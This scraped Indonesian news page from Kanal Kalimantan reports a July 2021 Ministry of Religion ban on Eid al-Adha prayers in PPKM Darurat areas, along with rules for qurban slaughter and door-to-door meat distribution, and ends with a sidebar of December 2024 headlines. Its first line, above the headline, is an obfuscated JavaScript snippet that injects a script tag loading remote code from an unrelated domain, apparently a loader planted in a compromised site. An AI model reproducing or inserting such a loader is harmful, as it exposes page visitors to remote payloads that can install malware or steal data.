(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS: Pemerintah Larang Shalat Idul Adha di Daerah PPKM Darurat


KANALKALIMANTAN.COM, JAKARTA – Kementerian Agama menegaskan bahwa Shalal Idul Adha yang jatuh pada 20 Juli 2021 dilarang digelar di daerah dengan status Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat.

Staf Khusus Menteri Agama RI Bidang Kerukunan Umat Beragama, Ishfah Abidal Aziz mengatakan hal itu telah diatur dalam Surat Edaran (SE) Menteri Agama Nomor 17 Tahun 2021 tentang Peniadaan Sementara Peribadatan di Tempat Ibadah, Malam Takbiran, Shalat Idul Adha, dan Petunjuk Teknis Pelaksanaan Qurban 1442 H di Wilayah PPKM Darurat.

“Shalat Idul Adha yang dilaksanakan di masjid, musala ataupun di lapangan atau di tempat-tempat ibadah Islam yang dikelola ya, di kantor atau tempat-tempat lain, untuk daerah yang masuk pada PPKM Darurat maka ditiadakan penyelenggaraannya atau daerah-daerah yang masuk zona merah atau oranye,” kata Ishfah dalam jumpa pers virtual KPCPEN-FMB9, Rabu (14/7/2021).

Sementara untuk daerah zona hijau dan kuning masih bisa menggelar Shalat Idul Adha dengan ketentuan maksimal 50 persen jamaah yang datang dengan protokol kesehatan ketat.

 

 

Baca juga: Ngamuk Bawa Sajam di Pasar Antasari, Dilumpuhkan dengan Tembakan

“Itu pun harus memenuhi ketentuan-ketentuan dan aturan-aturan bagaimana protokol kesehatan itu dapat dilaksanakan secara ketat dan disiplin, itu yang pokok terkait dengan pelaksanaan shalat Idul Adha,” jelasnya.

Kemudian, terkait penyembelihan hewan kurban, menurut Ishfah tidak boleh dilakukan setelah Shalat Idul Adha, melainkan harus digelar sehari setelahnya, untuk mengurangi potensi kerumunan.

“Maka penyelenggaraannya (penyembelihan kurban) itu dimulai pada sehari setelahnya yaitu tanggal 11 zulhijah 12 zulhijah dan 13 zulhijah,” ucapnya.

Baca juga: Lagi, Si Jago Merah Mengamuk. Kali ini Hanguskan 4 Buah Rumah di Kuripan

Pemotongan hewan kurban juga harus diupayakan dilakukan di rumah potong hewan, agar tidak terjadi kerumunan di masjid.

Pembagian daging kurban pun tidak boleh dilakukan dengan sistem kupon, melainkan dibagi satu per satu ke rumah warga, warga diharapkan menunggu saja di rumah tak perlu berkerumun menunggu daging kurban.

“Proses pendistribusian daging kurban yang sudah dikemas secara rapi dan higienis oleh panitia diharapkan agar didistribusikan langsung kepada masyarakat ke rumah masing masing. Jadi modelnya tidak membagikan kupon,” pungkas Ishfah. (Suara.com)

Editor : kk


Risa

Recent Posts

Jemaat Gereja Katedral Banjarmasin Khidmat Ikuti Misa Natal

KANALKALIMANTAN.COM, BANJARMASIN – Salah satu tempat ibadah yang melaksanakan ibadah Misa Natal 2024, Gereja Katedral… Read More

30 menit ago

Libur Akhir Tahun, Ini Tiga Tempat Wisata Estetik Tak Jauh dari Ibu Kota Kalsel

KANALKALIMANTAN.COM, BANJABARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More

3 jam ago

Jelang Misa Natal Semua Gereja di Banjarmasin Disterilisasi

KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More

15 jam ago

Menang di PTUN, KPU Banjarbaru Giliran Hadapi Gugatan di PN Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More

16 jam ago

Sambut Promo Natal & Promo Tahun Baru yang Lebih Seru Dengan Diskon Hingga Rp1,29 Juta!

KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More

18 jam ago

Pemkab Banjar Serahkan Bantuan Alsintan untuk Sejumlah Desa di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More

19 jam ago

This website uses cookies.